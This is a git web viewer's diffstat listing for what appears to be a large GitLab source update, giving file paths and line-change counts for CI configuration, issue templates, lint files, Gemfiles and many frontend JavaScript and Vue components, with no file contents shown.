summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--.gitlab-ci.yml12
-rw-r--r--.gitlab/CODEOWNERS5
-rw-r--r--.gitlab/changelog_config.yml38
-rw-r--r--.gitlab/ci/build-images.gitlab-ci.yml8
-rw-r--r--.gitlab/ci/cache-repo.gitlab-ci.yml5
-rw-r--r--.gitlab/ci/dast.gitlab-ci.yml2
-rw-r--r--.gitlab/ci/docs.gitlab-ci.yml19
-rw-r--r--.gitlab/ci/frontend.gitlab-ci.yml25
-rw-r--r--.gitlab/ci/global.gitlab-ci.yml10
-rw-r--r--.gitlab/ci/memory.gitlab-ci.yml2
-rw-r--r--.gitlab/ci/rails.gitlab-ci.yml87
-rw-r--r--.gitlab/ci/review.gitlab-ci.yml15
-rw-r--r--.gitlab/ci/rules.gitlab-ci.yml121
-rw-r--r--.gitlab/ci/untamper-my-lockfile.yml26
-rw-r--r--.gitlab/ci/vendored-gems.gitlab-ci.yml7
-rw-r--r--.gitlab/ci/workhorse.gitlab-ci.yml14
-rw-r--r--.gitlab/issue_templates/Experiment Successful Cleanup.md1
-rw-r--r--.gitlab/issue_templates/Experimentation.md2
-rw-r--r--.gitlab/issue_templates/Feature Flag Roll Out.md98
-rw-r--r--.gitlab/issue_templates/Feature proposal.md2
-rw-r--r--.gitlab/issue_templates/Geo: Replicate a new Git repository type.md756
-rw-r--r--.gitlab/issue_templates/Geo: Replicate a new blob type.md722
-rw-r--r--.gitlab/issue_templates/Implementation.md19
-rw-r--r--.gitlab/issue_templates/Lean Feature Proposal.md3
-rw-r--r--.gitlab/issue_templates/Migrations.md67
-rw-r--r--.gitlab/issue_templates/OSS_Partner.md68
-rw-r--r--.gitlab/issue_templates/Productivity Improvement.md2
-rw-r--r--.gitlab/issue_templates/Query Performance Investigation.md11
-rw-r--r--.gitlab/issue_templates/Security developer workflow.md5
-rw-r--r--.gitlab/issue_templates/experiment_tracking_template.md3
-rw-r--r--.gitlab/merge_request_templates/New End To End Test.md2
-rw-r--r--.gitlab/merge_request_templates/Quarantine End to End Test.md44
-rw-r--r--.haml-lint.yml13
-rw-r--r--.haml-lint_todo.yml358
-rw-r--r--.rubocop.yml28
-rw-r--r--.rubocop_manual_todo.yml1241
-rw-r--r--.rubocop_todo.yml87
-rw-r--r--CHANGELOG.md80
-rw-r--r--GITALY_SERVER_VERSION2
-rw-r--r--GITLAB_KAS_VERSION2
-rw-r--r--GITLAB_PAGES_VERSION2
-rw-r--r--Gemfile50
-rw-r--r--Gemfile.lock231
-rw-r--r--README.md2
-rwxr-xr-xRakefile2
-rw-r--r--app/assets/images/learn_gitlab/issue_created.svg65
-rw-r--r--app/assets/images/learn_gitlab/section_deploy.svg16
-rw-r--r--app/assets/images/learn_gitlab/section_plan.svg1
-rw-r--r--app/assets/images/learn_gitlab/section_workspace.svg1
-rw-r--r--app/assets/javascripts/access_tokens/index.js16
-rw-r--r--app/assets/javascripts/activities.js33
-rw-r--r--app/assets/javascripts/admin/statistics_panel/constants.js2
-rw-r--r--app/assets/javascripts/admin/users/components/users_table.vue2
-rw-r--r--app/assets/javascripts/admin/users/constants.js2
-rw-r--r--app/assets/javascripts/admin/users/new.js55
-rw-r--r--app/assets/javascripts/alert_management/components/alert_management_empty_state.vue2
-rw-r--r--app/assets/javascripts/alert_management/list.js4
-rw-r--r--app/assets/javascripts/alerts_settings/components/alert_mapping_builder.vue18
-rw-r--r--app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue19
-rw-r--r--app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue430
-rw-r--r--app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue123
-rw-r--r--app/assets/javascripts/alerts_settings/constants.js94
-rw-r--r--app/assets/javascripts/alerts_settings/index.js40
-rw-r--r--app/assets/javascripts/alerts_settings/utils/error_messages.js8
-rw-r--r--app/assets/javascripts/analytics/usage_trends/components/charts_config.js2
-rw-r--r--app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue2
-rw-r--r--app/assets/javascripts/api.js30
-rw-r--r--app/assets/javascripts/api/user_api.js3
-rw-r--r--app/assets/javascripts/awards_handler.js2
-rw-r--r--app/assets/javascripts/badges/components/badge.vue7
-rw-r--r--app/assets/javascripts/batch_comments/components/preview_item.vue14
-rw-r--r--app/assets/javascripts/batch_comments/mixins/resolved_status.js16
-rw-r--r--app/assets/javascripts/behaviors/deprecated_remove_row_behavior.js15
-rw-r--r--app/assets/javascripts/behaviors/markdown/render_mermaid.js54
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/keybindings.js594
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts.js65
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts_blob.js3
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts_find_file.js20
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts_help.vue8
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts_issuable.js29
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts_navigation.js70
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts_network.js21
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts_toggle.vue6
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts_wiki.js3
-rw-r--r--app/assets/javascripts/blob/components/blob_content.vue7
-rw-r--r--app/assets/javascripts/blob/file_template_selector.js26
-rw-r--r--app/assets/javascripts/blob/stl_viewer.js4
-rw-r--r--app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue1
-rw-r--r--app/assets/javascripts/blob_edit/edit_blob.js4
-rw-r--r--app/assets/javascripts/boards/boards_util.js33
-rw-r--r--app/assets/javascripts/boards/components/board_add_new_column.vue56
-rw-r--r--app/assets/javascripts/boards/components/board_add_new_column_form.vue119
-rw-r--r--app/assets/javascripts/boards/components/board_add_new_column_trigger.vue4
-rw-r--r--app/assets/javascripts/boards/components/board_blocked_icon.vue192
-rw-r--r--app/assets/javascripts/boards/components/board_card_inner.vue28
-rw-r--r--app/assets/javascripts/boards/components/board_card_loading_skeleton.vue26
-rw-r--r--app/assets/javascripts/boards/components/board_content.vue29
-rw-r--r--app/assets/javascripts/boards/components/board_content_sidebar.vue96
-rw-r--r--app/assets/javascripts/boards/components/board_extra_actions.vue57
-rw-r--r--app/assets/javascripts/boards/components/board_form.vue33
-rw-r--r--app/assets/javascripts/boards/components/board_list.vue2
-rw-r--r--app/assets/javascripts/boards/components/board_list_deprecated.vue7
-rw-r--r--app/assets/javascripts/boards/components/board_list_header.vue1
-rw-r--r--app/assets/javascripts/boards/components/board_new_issue.vue15
-rw-r--r--app/assets/javascripts/boards/components/board_new_issue_deprecated.vue2
-rw-r--r--app/assets/javascripts/boards/components/board_settings_sidebar.vue8
-rw-r--r--app/assets/javascripts/boards/components/config_toggle.vue12
-rw-r--r--app/assets/javascripts/boards/components/filtered_search.vue54
-rw-r--r--app/assets/javascripts/boards/components/modal/empty_state.vue84
-rw-r--r--app/assets/javascripts/boards/components/modal/filters.js27
-rw-r--r--app/assets/javascripts/boards/components/modal/footer.vue80
-rw-r--r--app/assets/javascripts/boards/components/modal/header.vue80
-rw-r--r--app/assets/javascripts/boards/components/modal/index.vue151
-rw-r--r--app/assets/javascripts/boards/components/modal/list.vue141
-rw-r--r--app/assets/javascripts/boards/components/modal/lists_dropdown.vue49
-rw-r--r--app/assets/javascripts/boards/components/modal/tabs.vue42
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_editable_item.vue4
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue7
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_issue_title.vue169
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue12
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_milestone_select.vue19
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue18
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_time_tracker.vue25
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_title.vue169
-rw-r--r--app/assets/javascripts/boards/components/toggle_focus.vue4
-rw-r--r--app/assets/javascripts/boards/config_toggle.js5
-rw-r--r--app/assets/javascripts/boards/constants.js29
-rw-r--r--app/assets/javascripts/boards/ee_functions.js1
-rw-r--r--app/assets/javascripts/boards/filtered_search.js25
-rw-r--r--app/assets/javascripts/boards/graphql/board_blocking_issues.query.graphql16
-rw-r--r--app/assets/javascripts/boards/graphql/issue.fragment.graphql4
-rw-r--r--app/assets/javascripts/boards/graphql/issue_set_subscription.mutation.graphql2
-rw-r--r--app/assets/javascripts/boards/graphql/issue_set_title.mutation.graphql2
-rw-r--r--app/assets/javascripts/boards/index.js71
-rw-r--r--app/assets/javascripts/boards/mixins/board_new_issue.js6
-rw-r--r--app/assets/javascripts/boards/mixins/modal_footer.js1
-rw-r--r--app/assets/javascripts/boards/mixins/modal_mixins.js12
-rw-r--r--app/assets/javascripts/boards/stores/actions.js306
-rw-r--r--app/assets/javascripts/boards/stores/getters.js12
-rw-r--r--app/assets/javascripts/boards/stores/modal_store.js95
-rw-r--r--app/assets/javascripts/boards/stores/mutation_types.js15
-rw-r--r--app/assets/javascripts/boards/stores/mutations.js70
-rw-r--r--app/assets/javascripts/branches/branch_sort_dropdown.js25
-rw-r--r--app/assets/javascripts/branches/components/sort_dropdown.vue88
-rw-r--r--app/assets/javascripts/branches/divergence_graph.js8
-rw-r--r--app/assets/javascripts/captcha/apollo_captcha_link.js37
-rw-r--r--app/assets/javascripts/ci_lint/components/ci_lint.vue6
-rw-r--r--app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue10
-rw-r--r--app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue16
-rw-r--r--app/assets/javascripts/ci_variable_list/components/ci_variable_popover.vue2
-rw-r--r--app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue7
-rw-r--r--app/assets/javascripts/ci_variable_list/index.js9
-rw-r--r--app/assets/javascripts/clusters/components/application_row.vue13
-rw-r--r--app/assets/javascripts/clusters/constants.js1
-rw-r--r--app/assets/javascripts/clusters/forms/show/index.js5
-rw-r--r--app/assets/javascripts/clusters/services/application_state_machine.js4
-rw-r--r--app/assets/javascripts/clusters_list/components/node_error_help_text.vue2
-rw-r--r--app/assets/javascripts/commit/pipelines/pipelines_bundle.js4
-rw-r--r--app/assets/javascripts/commit/pipelines/pipelines_table.vue33
-rw-r--r--app/assets/javascripts/commits.js2
-rw-r--r--app/assets/javascripts/content_editor/components/content_editor.vue18
-rw-r--r--app/assets/javascripts/content_editor/constants.js5
-rw-r--r--app/assets/javascripts/content_editor/extensions/code_block_highlight.js38
-rw-r--r--app/assets/javascripts/content_editor/index.js2
-rw-r--r--app/assets/javascripts/content_editor/services/create_editor.js60
-rw-r--r--app/assets/javascripts/content_editor/services/markdown_serializer.js73
-rw-r--r--app/assets/javascripts/contributors/components/contributors.vue11
-rw-r--r--app/assets/javascripts/contributors/index.js9
-rw-r--r--app/assets/javascripts/contributors/stores/index.js6
-rw-r--r--app/assets/javascripts/contributors/stores/state.js4
-rw-r--r--app/assets/javascripts/create_merge_request_dropdown.js30
-rw-r--r--app/assets/javascripts/delete_label_modal.js16
-rw-r--r--app/assets/javascripts/deploy_freeze/components/deploy_freeze_modal.vue28
-rw-r--r--app/assets/javascripts/deploy_freeze/components/deploy_freeze_table.vue35
-rw-r--r--app/assets/javascripts/deploy_freeze/store/actions.js47
-rw-r--r--app/assets/javascripts/deploy_freeze/store/mutation_types.js1
-rw-r--r--app/assets/javascripts/deploy_freeze/store/mutations.js11
-rw-r--r--app/assets/javascripts/deploy_freeze/store/state.js2
-rw-r--r--app/assets/javascripts/deploy_tokens/components/revoke_button.vue81
-rw-r--r--app/assets/javascripts/deploy_tokens/init_revoke_button.js26
-rw-r--r--app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_filter.js23
-rw-r--r--app/assets/javascripts/design_management/components/delete_button.vue2
-rw-r--r--app/assets/javascripts/design_management/components/design_notes/design_note.vue7
-rw-r--r--app/assets/javascripts/design_management/components/design_scaler.vue16
-rw-r--r--app/assets/javascripts/design_management/components/list/item.vue3
-rw-r--r--app/assets/javascripts/design_management/components/toolbar/design_navigation.vue24
-rw-r--r--app/assets/javascripts/design_management/components/toolbar/index.vue8
-rw-r--r--app/assets/javascripts/design_management/components/upload/button.vue3
-rw-r--r--app/assets/javascripts/design_management/index.js4
-rw-r--r--app/assets/javascripts/design_management/pages/design/index.vue5
-rw-r--r--app/assets/javascripts/design_management/pages/index.vue7
-rw-r--r--app/assets/javascripts/diffs/components/app.vue73
-rw-r--r--app/assets/javascripts/diffs/components/commit_item.vue61
-rw-r--r--app/assets/javascripts/diffs/components/compare_versions.vue52
-rw-r--r--app/assets/javascripts/diffs/components/diff_discussions.vue1
-rw-r--r--app/assets/javascripts/diffs/components/diff_file.vue8
-rw-r--r--app/assets/javascripts/diffs/components/diff_file_header.vue18
-rw-r--r--app/assets/javascripts/diffs/components/diff_line_note_form.vue36
-rw-r--r--app/assets/javascripts/diffs/components/diff_row.vue40
-rw-r--r--app/assets/javascripts/diffs/components/image_diff_overlay.vue1
-rw-r--r--app/assets/javascripts/diffs/components/inline_diff_table_row.vue7
-rw-r--r--app/assets/javascripts/diffs/components/parallel_diff_table_row.vue14
-rw-r--r--app/assets/javascripts/diffs/index.js4
-rw-r--r--app/assets/javascripts/diffs/store/actions.js93
-rw-r--r--app/assets/javascripts/diffs/store/getters.js12
-rw-r--r--app/assets/javascripts/diffs/store/modules/diff_state.js6
-rw-r--r--app/assets/javascripts/diffs/store/modules/index.js6
-rw-r--r--app/assets/javascripts/diffs/store/mutations.js9
-rw-r--r--app/assets/javascripts/diffs/store/utils.js17
-rw-r--r--app/assets/javascripts/diffs/utils/interoperability.js49
-rw-r--r--app/assets/javascripts/droplab/drop_lab.js15
-rw-r--r--app/assets/javascripts/droplab/hook_button.js2
-rw-r--r--app/assets/javascripts/editor/extensions/editor_lite_extension_base.js76
-rw-r--r--app/assets/javascripts/emoji/awards_app/index.js43
-rw-r--r--app/assets/javascripts/emoji/awards_app/store/actions.js51
-rw-r--r--app/assets/javascripts/emoji/awards_app/store/index.js20
-rw-r--r--app/assets/javascripts/emoji/awards_app/store/mutation_types.js6
-rw-r--r--app/assets/javascripts/emoji/awards_app/store/mutations.js23
-rw-r--r--app/assets/javascripts/emoji/components/picker.vue3
-rw-r--r--app/assets/javascripts/ensure_data.js56
-rw-r--r--app/assets/javascripts/environments/components/enable_review_app_modal.vue19
-rw-r--r--app/assets/javascripts/environments/components/environment_rollback.vue1
-rw-r--r--app/assets/javascripts/environments/index.js1
-rw-r--r--app/assets/javascripts/error_tracking/components/error_details.vue2
-rw-r--r--app/assets/javascripts/error_tracking/components/error_tracking_actions.vue2
-rw-r--r--app/assets/javascripts/error_tracking_settings/components/error_tracking_form.vue6
-rw-r--r--app/assets/javascripts/error_tracking_settings/store/getters.js4
-rw-r--r--app/assets/javascripts/experimentation/components/experiment.vue15
-rw-r--r--app/assets/javascripts/experimentation/constants.js2
-rw-r--r--app/assets/javascripts/experimentation/utils.js18
-rw-r--r--app/assets/javascripts/feature_flags/components/feature_flags_table.vue8
-rw-r--r--app/assets/javascripts/feature_flags/components/form.vue19
-rw-r--r--app/assets/javascripts/feature_flags/components/strategy.vue1
-rw-r--r--app/assets/javascripts/feature_flags/components/user_lists_table.vue7
-rw-r--r--app/assets/javascripts/feature_highlight/feature_highlight_popover.vue1
-rw-r--r--app/assets/javascripts/filtered_search/dropdown_emoji.js8
-rw-r--r--app/assets/javascripts/filtered_search/dropdown_non_user.js8
-rw-r--r--app/assets/javascripts/filtered_search/filtered_search_manager.js7
-rw-r--r--app/assets/javascripts/flash.js74
-rw-r--r--app/assets/javascripts/gfm_auto_complete.js31
-rw-r--r--app/assets/javascripts/grafana_integration/components/grafana_integration.vue4
-rw-r--r--app/assets/javascripts/graphql_shared/constants.js2
-rw-r--r--app/assets/javascripts/graphql_shared/fragments/epic.fragment.graphql11
-rw-r--r--app/assets/javascripts/graphql_shared/fragments/user_availability.fragment.graphql5
-rw-r--r--app/assets/javascripts/graphql_shared/queries/users_search.query.graphql4
-rw-r--r--app/assets/javascripts/group.js6
-rw-r--r--app/assets/javascripts/groups/components/group_item.vue14
-rw-r--r--app/assets/javascripts/header.js4
-rw-r--r--app/assets/javascripts/ide/components/cannot_push_code_alert.vue40
-rw-r--r--app/assets/javascripts/ide/components/ide.vue13
-rw-r--r--app/assets/javascripts/ide/components/ide_status_mr.vue2
-rw-r--r--app/assets/javascripts/ide/components/jobs/detail/scroll_button.vue1
-rw-r--r--app/assets/javascripts/ide/components/merge_requests/list.vue4
-rw-r--r--app/assets/javascripts/ide/components/nav_dropdown_button.vue4
-rw-r--r--app/assets/javascripts/ide/components/nav_form.vue2
-rw-r--r--app/assets/javascripts/ide/constants.js2
-rw-r--r--app/assets/javascripts/ide/index.js1
-rw-r--r--app/assets/javascripts/ide/lib/editor_options.js2
-rw-r--r--app/assets/javascripts/ide/lib/languages/README.md10
-rw-r--r--app/assets/javascripts/ide/messages.js12
-rw-r--r--app/assets/javascripts/ide/stores/actions/merge_request.js6
-rw-r--r--app/assets/javascripts/ide/stores/getters.js38
-rw-r--r--app/assets/javascripts/ide/stores/mutation_types.js2
-rw-r--r--app/assets/javascripts/import_entities/components/import_status.vue27
-rw-r--r--app/assets/javascripts/import_entities/constants.js58
-rw-r--r--app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue2
-rw-r--r--app/assets/javascripts/incidents_settings/components/incidents_settings_tabs.vue5
-rw-r--r--app/assets/javascripts/integrations/edit/components/dynamic_field.vue11
-rw-r--r--app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue54
-rw-r--r--app/assets/javascripts/integrations/edit/components/jira_trigger_fields.vue147
-rw-r--r--app/assets/javascripts/integrations/edit/components/jira_upgrade_cta.vue51
-rw-r--r--app/assets/javascripts/integrations/edit/components/trigger_fields.vue4
-rw-r--r--app/assets/javascripts/integrations/edit/index.js9
-rw-r--r--app/assets/javascripts/integrations/index/components/integrations_list.vue59
-rw-r--r--app/assets/javascripts/integrations/index/components/integrations_table.vue95
-rw-r--r--app/assets/javascripts/integrations/index/index.js23
-rw-r--r--app/assets/javascripts/invite_member/components/invite_member_modal.vue4
-rw-r--r--app/assets/javascripts/invite_member/components/invite_member_trigger.vue8
-rw-r--r--app/assets/javascripts/invite_member/init_invite_member_modal.js12
-rw-r--r--app/assets/javascripts/invite_member/init_invite_member_trigger.js6
-rw-r--r--app/assets/javascripts/invite_members/components/invite_members_modal.vue19
-rw-r--r--app/assets/javascripts/invite_members/components/invite_members_trigger.vue71
-rw-r--r--app/assets/javascripts/invite_members/constants.js2
-rw-r--r--app/assets/javascripts/issuable/components/csv_export_modal.vue16
-rw-r--r--app/assets/javascripts/issuable/components/csv_import_export_buttons.vue31
-rw-r--r--app/assets/javascripts/issuable/components/issuable_by_email.vue6
-rw-r--r--app/assets/javascripts/issuable/init_csv_import_export_buttons.js11
-rw-r--r--app/assets/javascripts/issuable_bulk_update_actions.js4
-rw-r--r--app/assets/javascripts/issuable_bulk_update_sidebar.js23
-rw-r--r--app/assets/javascripts/issuable_index.js2
-rw-r--r--app/assets/javascripts/issuable_list/components/issuable_item.vue6
-rw-r--r--app/assets/javascripts/issuable_list/components/issuable_list_root.vue30
-rw-r--r--app/assets/javascripts/issuable_list/components/issuable_tabs.vue13
-rw-r--r--app/assets/javascripts/issuable_show/components/issuable_body.vue5
-rw-r--r--app/assets/javascripts/issuable_show/components/issuable_edit_form.vue8
-rw-r--r--app/assets/javascripts/issuable_show/components/issuable_show_root.vue6
-rw-r--r--app/assets/javascripts/issuable_show/components/issuable_title.vue7
-rw-r--r--app/assets/javascripts/issuable_sidebar/queries/issue_sidebar.query.graphql16
-rw-r--r--app/assets/javascripts/issuable_type_selector/components/info_popover.vue41
-rw-r--r--app/assets/javascripts/issuable_type_selector/index.js16
-rw-r--r--app/assets/javascripts/issue_show/components/app.vue2
-rw-r--r--app/assets/javascripts/issue_show/components/edit_actions.vue12
-rw-r--r--app/assets/javascripts/issue_show/components/header_actions.vue25
-rw-r--r--app/assets/javascripts/issue_show/components/title.vue7
-rw-r--r--app/assets/javascripts/issues_list/components/issuables_list_app.vue3
-rw-r--r--app/assets/javascripts/issues_list/components/issues_list_app.vue363
-rw-r--r--app/assets/javascripts/issues_list/constants.js188
-rw-r--r--app/assets/javascripts/issues_list/index.js39
-rw-r--r--app/assets/javascripts/jira_connect/api.js24
-rw-r--r--app/assets/javascripts/jira_connect/components/app.vue64
-rw-r--r--app/assets/javascripts/jira_connect/components/group_item_name.vue34
-rw-r--r--app/assets/javascripts/jira_connect/components/groups_list.vue96
-rw-r--r--app/assets/javascripts/jira_connect/components/groups_list_item.vue41
-rw-r--r--app/assets/javascripts/jira_connect/components/subscriptions_list.vue109
-rw-r--r--app/assets/javascripts/jira_connect/index.js54
-rw-r--r--app/assets/javascripts/jira_connect/utils.js40
-rw-r--r--app/assets/javascripts/jobs/components/commit_block.vue9
-rw-r--r--app/assets/javascripts/jobs/components/job_container_item.vue2
-rw-r--r--app/assets/javascripts/jobs/components/job_log_controllers.vue20
-rw-r--r--app/assets/javascripts/jobs/components/manual_variables_form.vue22
-rw-r--r--app/assets/javascripts/jobs/components/sidebar.vue3
-rw-r--r--app/assets/javascripts/jobs/components/sidebar_job_details_container.vue4
-rw-r--r--app/assets/javascripts/jobs/components/stages_dropdown.vue14
-rw-r--r--app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql52
-rw-r--r--app/assets/javascripts/jobs/components/table/index.js33
-rw-r--r--app/assets/javascripts/jobs/components/table/jobs_table.vue67
-rw-r--r--app/assets/javascripts/jobs/components/table/jobs_table_app.vue85
-rw-r--r--app/assets/javascripts/jobs/components/table/jobs_table_tabs.vue66
-rw-r--r--app/assets/javascripts/labels_select.js33
-rw-r--r--app/assets/javascripts/lib/graphql.js2
-rw-r--r--app/assets/javascripts/lib/utils/color_utils.js12
-rw-r--r--app/assets/javascripts/lib/utils/common_utils.js13
-rw-r--r--app/assets/javascripts/lib/utils/datetime_utility.js76
-rw-r--r--app/assets/javascripts/lib/utils/forms.js94
-rw-r--r--app/assets/javascripts/lib/utils/text_markdown.js4
-rw-r--r--app/assets/javascripts/lib/utils/webpack.js6
-rw-r--r--app/assets/javascripts/main.js55
-rw-r--r--app/assets/javascripts/members/components/action_buttons/approve_access_request_button.vue7
-rw-r--r--app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue1
-rw-r--r--app/assets/javascripts/members/components/action_buttons/remove_group_link_button.vue7
-rw-r--r--app/assets/javascripts/members/components/action_buttons/remove_member_button.vue28
-rw-r--r--app/assets/javascripts/members/components/action_buttons/resend_invite_button.vue7
-rw-r--r--app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue10
-rw-r--r--app/assets/javascripts/members/components/app.vue14
-rw-r--r--app/assets/javascripts/members/components/avatars/user_avatar.vue3
-rw-r--r--app/assets/javascripts/members/components/filter_sort/filter_sort_container.vue10
-rw-r--r--app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue7
-rw-r--r--app/assets/javascripts/members/components/filter_sort/sort_dropdown.vue10
-rw-r--r--app/assets/javascripts/members/components/modals/leave_modal.vue23
-rw-r--r--app/assets/javascripts/members/components/modals/remove_group_link_modal.vue19
-rw-r--r--app/assets/javascripts/members/components/table/expiration_datepicker.vue7
-rw-r--r--app/assets/javascripts/members/components/table/members_table.vue13
-rw-r--r--app/assets/javascripts/members/components/table/members_table_cell.vue3
-rw-r--r--app/assets/javascripts/members/components/table/role_dropdown.vue7
-rw-r--r--app/assets/javascripts/members/index.js32
-rw-r--r--app/assets/javascripts/members/store/index.js1
-rw-r--r--app/assets/javascripts/members/store/state.js6
-rw-r--r--app/assets/javascripts/merge_conflicts/components/diff_file_editor.vue32
-rw-r--r--app/assets/javascripts/merge_conflicts/components/inline_conflict_lines.vue25
-rw-r--r--app/assets/javascripts/merge_conflicts/components/parallel_conflict_lines.vue17
-rw-r--r--app/assets/javascripts/merge_conflicts/constants.js1
-rw-r--r--app/assets/javascripts/merge_conflicts/merge_conflict_resolver_app.vue129
-rw-r--r--app/assets/javascripts/merge_conflicts/merge_conflict_service.js16
-rw-r--r--app/assets/javascripts/merge_conflicts/merge_conflict_store.js432
-rw-r--r--app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js92
-rw-r--r--app/assets/javascripts/merge_conflicts/mixins/line_conflict_actions.js7
-rw-r--r--app/assets/javascripts/merge_conflicts/store/actions.js5
-rw-r--r--app/assets/javascripts/merge_conflicts/store/getters.js2
-rw-r--r--app/assets/javascripts/merge_request/components/status_box.vue2
-rw-r--r--app/assets/javascripts/merge_request_tabs.js2
-rw-r--r--app/assets/javascripts/milestone_select.js12
-rw-r--r--app/assets/javascripts/mini_pipeline_graph_dropdown.js113
-rw-r--r--app/assets/javascripts/monitoring/components/dashboard_header.vue7
-rw-r--r--app/assets/javascripts/monitoring/components/dashboard_panel_builder.vue7
-rw-r--r--app/assets/javascripts/monitoring/components/duplicate_dashboard_form.vue2
-rw-r--r--app/assets/javascripts/monitoring/components/links_section.vue2
-rw-r--r--app/assets/javascripts/monitoring/components/refresh_button.vue8
-rw-r--r--app/assets/javascripts/mr_notes/init_notes.js8
-rw-r--r--app/assets/javascripts/mr_notes/stores/actions.js35
-rw-r--r--app/assets/javascripts/mr_notes/stores/modules/index.js4
-rw-r--r--app/assets/javascripts/mr_notes/stores/mutation_types.js2
-rw-r--r--app/assets/javascripts/mr_notes/stores/mutations.js6
-rw-r--r--app/assets/javascripts/namespaces/cascading_settings/components/lock_popovers.vue77
-rw-r--r--app/assets/javascripts/namespaces/cascading_settings/index.js15
-rw-r--r--app/assets/javascripts/notes.js31
-rw-r--r--app/assets/javascripts/notes/components/comment_form.vue128
-rw-r--r--app/assets/javascripts/notes/components/discussion_navigator.vue13
-rw-r--r--app/assets/javascripts/notes/components/discussion_notes.vue2
-rw-r--r--app/assets/javascripts/notes/components/discussion_resolve_with_issue_button.vue7
-rw-r--r--app/assets/javascripts/notes/components/note_actions.vue29
-rw-r--r--app/assets/javascripts/notes/components/note_attachment.vue2
-rw-r--r--app/assets/javascripts/notes/components/note_form.vue10
-rw-r--r--app/assets/javascripts/notes/components/noteable_note.vue26
-rw-r--r--app/assets/javascripts/notes/components/notes_app.vue7
-rw-r--r--app/assets/javascripts/notes/components/sort_discussion.vue11
-rw-r--r--app/assets/javascripts/notes/mixins/resolvable.js17
-rw-r--r--app/assets/javascripts/notes/stores/getters.js27
-rw-r--r--app/assets/javascripts/operation_settings/components/metrics_settings.vue4
-rw-r--r--app/assets/javascripts/packages/list/components/package_search.vue30
-rw-r--r--app/assets/javascripts/packages/list/components/package_title.vue10
-rw-r--r--app/assets/javascripts/packages/list/components/packages_list_app.vue63
-rw-r--r--app/assets/javascripts/packages/list/constants.js4
-rw-r--r--app/assets/javascripts/packages/list/packages_list_app_bundle.js8
-rw-r--r--app/assets/javascripts/packages/list/utils.js4
-rw-r--r--app/assets/javascripts/packages/shared/components/package_icon_and_name.vue17
-rw-r--r--app/assets/javascripts/packages/shared/components/package_list_row.vue22
-rw-r--r--app/assets/javascripts/packages/shared/constants.js1
-rw-r--r--app/assets/javascripts/packages/shared/utils.js16
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name.vue17
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_search.vue45
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_title.vue53
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list_app_bundle.js33
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/group/components/maven_settings.vue4
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/group/constants.js1
-rw-r--r--app/assets/javascripts/packages_and_registries/shared/constants.js1
-rw-r--r--app/assets/javascripts/packages_and_registries/shared/utils.js29
-rw-r--r--app/assets/javascripts/pager.js20
-rw-r--r--app/assets/javascripts/pages/admin/abuse_reports/index.js3
-rw-r--r--app/assets/javascripts/pages/admin/admin.js13
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/general/components/signup_checkbox.vue50
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/general/components/signup_form.vue417
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/general/index.js26
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/gitpod.js24
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/index.js4
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/signup_restrictions.js31
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/utils.js21
-rw-r--r--app/assets/javascripts/pages/admin/broadcast_messages/index.js6
-rw-r--r--app/assets/javascripts/pages/admin/groups/new/index.js4
-rw-r--r--app/assets/javascripts/pages/admin/labels/edit/index.js2
-rw-r--r--app/assets/javascripts/pages/admin/labels/index/index.js3
-rw-r--r--app/assets/javascripts/pages/admin/labels/new/index.js2
-rw-r--r--app/assets/javascripts/pages/admin/runners/index/index.js (renamed from app/assets/javascripts/pages/admin/runners/index.js)0
-rw-r--r--app/assets/javascripts/pages/admin/runners/show/index.js3
-rw-r--r--app/assets/javascripts/pages/admin/services/edit/index.js6
-rw-r--r--app/assets/javascripts/pages/admin/spam_logs/index.js3
-rw-r--r--app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue4
